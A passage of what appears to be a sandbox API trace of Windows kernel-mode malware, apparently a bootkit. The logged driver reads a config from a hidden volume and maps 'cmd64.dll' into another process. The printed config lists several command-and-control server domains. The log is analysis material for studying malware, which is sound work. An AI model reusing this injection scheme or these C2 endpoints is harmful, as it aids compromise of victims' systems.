KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0073.762] IdePortDispatch () returned 0x103 [0073.763] KeWaitForMutexObject () returned 0x0 [0073.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.763] KeLeaveCriticalRegion () [0073.763] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.763] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a00656d530 [0073.763] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0073.763] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0073.763] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="services.exe (x64)=") returned 19 [0073.763] _strlwr (in: _Str="services.exe (x64)=" | out: _Str="services.exe (x64)=") returned="services.exe (x64)=" [0073.763] ZwReadFile (in: FileHandle=0xffffffff80000238, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00656d530, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00656d530*) returned 0x0 [0073.763] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.763] KeEnterCriticalRegion () [0073.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.763] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d76530 [0073.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.763] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.763] IdePortDispatch () returned 0x103 [0073.763] KeWaitForMutexObject () returned 0x0 [0073.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.763] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.763] IdePortDispatch () returned 0x103 [0073.764] KeWaitForMutexObject () returned 0x0 [0073.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.764] KeLeaveCriticalRegion () [0073.764] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.764] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0073.764] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="services.exe (x64)=") returned 0x0 [0073.764] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0073.764] ExFreePoolWithTag (P=0xfffff8a00656d530, Tag=0x0) [0073.764] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.764] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.764] KeEnterCriticalRegion () [0073.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.764] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.764] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800355b730, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0073.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.764] KeLeaveCriticalRegion () [0073.764] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.764] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.764] KeEnterCriticalRegion () [0073.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.764] ExFreePoolWithTag (P=0xfffffa80034d1170, Tag=0x0) [0073.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.764] KeLeaveCriticalRegion () [0073.764] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.764] ZwClose (Handle=0xffffffff80000240) returned 0x0 [0073.764] KeSetEvent (in: Event=0xfffffa8003563050, Increment=0x0, Wait=0 | out: Event=0xfffffa8003563050) returned 0 [0073.905] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x1e4, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff80000240) returned 0x0 [0073.905] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0073.906] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0073.906] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.906] KeEnterCriticalRegion () [0073.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.906] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0073.906] IdePortDispatch () returned 0x103 [0073.906] KeWaitForMutexObject () returned 0x0 [0073.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.906] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0073.906] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0073.906] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0073.906] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034d13f0 [0073.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.906] KeLeaveCriticalRegion () [0073.906] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.906] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0073.906] NtLockFile (in: FileHandle=0xffffffff80000238, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0073.906] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.906] KeEnterCriticalRegion () [0073.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.906] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0073.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.906] KeLeaveCriticalRegion () [0073.906] ZwQueryInformationFile (in: FileHandle=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0073.906] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.907] KeEnterCriticalRegion () [0073.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.907] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0073.907] IdePortDispatch () returned 0x103 [0073.907] KeWaitForMutexObject () returned 0x0 [0073.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.907] KeLeaveCriticalRegion () [0073.907] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.907] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a00656d530 [0073.907] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0073.907] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0073.907] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0073.907] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0073.907] ZwReadFile (in: FileHandle=0xffffffff80000238, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00656d530, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00656d530*) returned 0x0 [0073.907] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.907] KeEnterCriticalRegion () [0073.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c60530 [0073.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.907] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.907] IdePortDispatch () returned 0x103 [0073.908] KeWaitForMutexObject () returned 0x0 [0073.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800d30e960 [0073.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0073.908] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0073.908] IdePortDispatch () returned 0x103 [0073.908] KeWaitForMutexObject () returned 0x0 [0073.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.908] KeLeaveCriticalRegion () [0073.908] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.908] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0073.908] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0073.908] strncpy (in: _Dest=0xfffffa800356fa94, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0073.908] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0073.908] ExFreePoolWithTag (P=0xfffff8a00656d530, Tag=0x0) [0073.908] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.908] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.908] KeEnterCriticalRegion () [0073.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.908] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.908] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80035638e0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0073.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.908] KeLeaveCriticalRegion () [0073.908] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.908] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.908] KeEnterCriticalRegion () [0073.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.909] ExFreePoolWithTag (P=0xfffffa80034d13f0, Tag=0x0) [0073.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.909] KeLeaveCriticalRegion () [0073.909] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.909] KeStackAttachProcess (in: PROCESS=0xfffffa8003558b30, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa8003558b30, ApcState=0xfffff88002f8fa58) [0073.909] _snwprintf (in: _Dest=0xfffffa800356f88c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0073.909] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0073.909] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0073.909] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.909] KeEnterCriticalRegion () [0073.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.909] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0073.909] IdePortDispatch () returned 0x103 [0073.909] KeWaitForMutexObject () returned 0x0 [0073.909] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.909] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.909] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.909] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.909] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.909] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.909] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.909] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.909] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.909] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.909] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034d1170 [0073.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.909] KeLeaveCriticalRegion () [0073.909] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.909] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000238 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0073.910] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.910] KeEnterCriticalRegion () [0073.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.910] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0073.910] IdePortDispatch () returned 0x103 [0073.910] KeWaitForMutexObject () returned 0x0 [0073.910] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.910] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.910] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.910] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.910] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.910] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.910] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.910] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.910] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.910] KeLeaveCriticalRegion () [0073.910] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.910] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0073.910] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0073.910] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.910] KeEnterCriticalRegion () [0073.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da1000 [0073.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.910] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.910] IdePortDispatch () returned 0x103 [0073.911] KeWaitForMutexObject () returned 0x0 [0073.911] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.911] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.911] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.911] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.911] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.911] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.911] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.911] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.911] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.911] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.911] IdePortDispatch () returned 0x103 [0073.911] KeWaitForMutexObject () returned 0x0 [0073.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: 